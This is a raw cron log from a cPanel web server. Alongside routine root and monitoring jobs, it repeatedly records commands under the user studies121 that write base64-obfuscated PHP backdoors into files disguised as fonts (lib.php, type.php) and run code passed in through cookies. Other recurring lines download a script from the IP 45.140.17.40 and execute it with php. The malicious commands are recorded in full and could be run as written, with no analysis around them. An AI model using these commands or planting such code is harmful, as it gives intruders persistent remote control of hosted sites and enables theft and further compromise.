Sep  2 23:20:01 ip-184-168-122-23 CROND[28238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:20:01 ip-184-168-122-23 CROND[28240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:20:01 ip-184-168-122-23 CROND[28242]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 23:20:01 ip-184-168-122-23 CROND[28246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:20:01 ip-184-168-122-23 CROND[28245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:20:01 ip-184-168-122-23 CROND[28249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:21:01 ip-184-168-122-23 CROND[28333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:21:01 ip-184-168-122-23 CROND[28332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:21:01 ip-184-168-122-23 CROND[28334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:21:01 ip-184-168-122-23 CROND[28335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:22:01 ip-184-168-122-23 CROND[28411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:22:01 ip-184-168-122-23 CROND[28413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:22:01 ip-184-168-122-23 CROND[28415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:22:01 ip-184-168-122-23 CROND[28416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:22:01 ip-184-168-122-23 CROND[28414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:23:01 ip-184-168-122-23 CROND[28587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:23:01 ip-184-168-122-23 CROND[28588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:23:01 ip-184-168-122-23 CROND[28590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:23:01 ip-184-168-122-23 CROND[28589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:24:01 ip-184-168-122-23 CROND[28675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:24:01 ip-184-168-122-23 CROND[28677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:24:01 ip-184-168-122-23 CROND[28679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:24:01 ip-184-168-122-23 CROND[28681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:24:01 ip-184-168-122-23 CROND[28678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:25:01 ip-184-168-122-23 CROND[28769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:25:01 ip-184-168-122-23 CROND[28773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:25:01 ip-184-168-122-23 CROND[28771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:25:01 ip-184-168-122-23 CROND[28774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:25:01 ip-184-168-122-23 CROND[28772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:25:01 ip-184-168-122-23 CROND[28775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:26:01 ip-184-168-122-23 CROND[28862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:26:01 ip-184-168-122-23 CROND[28864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:26:01 ip-184-168-122-23 CROND[28866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:26:01 ip-184-168-122-23 CROND[28865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:26:01 ip-184-168-122-23 CROND[28867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:27:01 ip-184-168-122-23 CROND[28944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:27:01 ip-184-168-122-23 CROND[28946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:27:01 ip-184-168-122-23 CROND[28948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:27:01 ip-184-168-122-23 CROND[28951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:28:01 ip-184-168-122-23 CROND[29037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:28:01 ip-184-168-122-23 CROND[29038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:28:01 ip-184-168-122-23 CROND[29041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:28:02 ip-184-168-122-23 CROND[29043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:28:02 ip-184-168-122-23 CROND[29044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:29:01 ip-184-168-122-23 CROND[29123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:29:01 ip-184-168-122-23 CROND[29125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:29:01 ip-184-168-122-23 CROND[29128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:29:01 ip-184-168-122-23 CROND[29126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:30:02 ip-184-168-122-23 CROND[29218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:30:02 ip-184-168-122-23 CROND[29220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:30:02 ip-184-168-122-23 CROND[29222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:30:02 ip-184-168-122-23 CROND[29226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:30:02 ip-184-168-122-23 CROND[29228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:30:02 ip-184-168-122-23 CROND[29223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:30:02 ip-184-168-122-23 CROND[29224]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:30:02 ip-184-168-122-23 CROND[29229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:31:01 ip-184-168-122-23 CROND[29351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:31:01 ip-184-168-122-23 CROND[29355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:31:01 ip-184-168-122-23 CROND[29353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:31:01 ip-184-168-122-23 CROND[29354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:31:01 ip-184-168-122-23 CROND[29356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 23:32:01 ip-184-168-122-23 CROND[29438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:32:01 ip-184-168-122-23 CROND[29440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
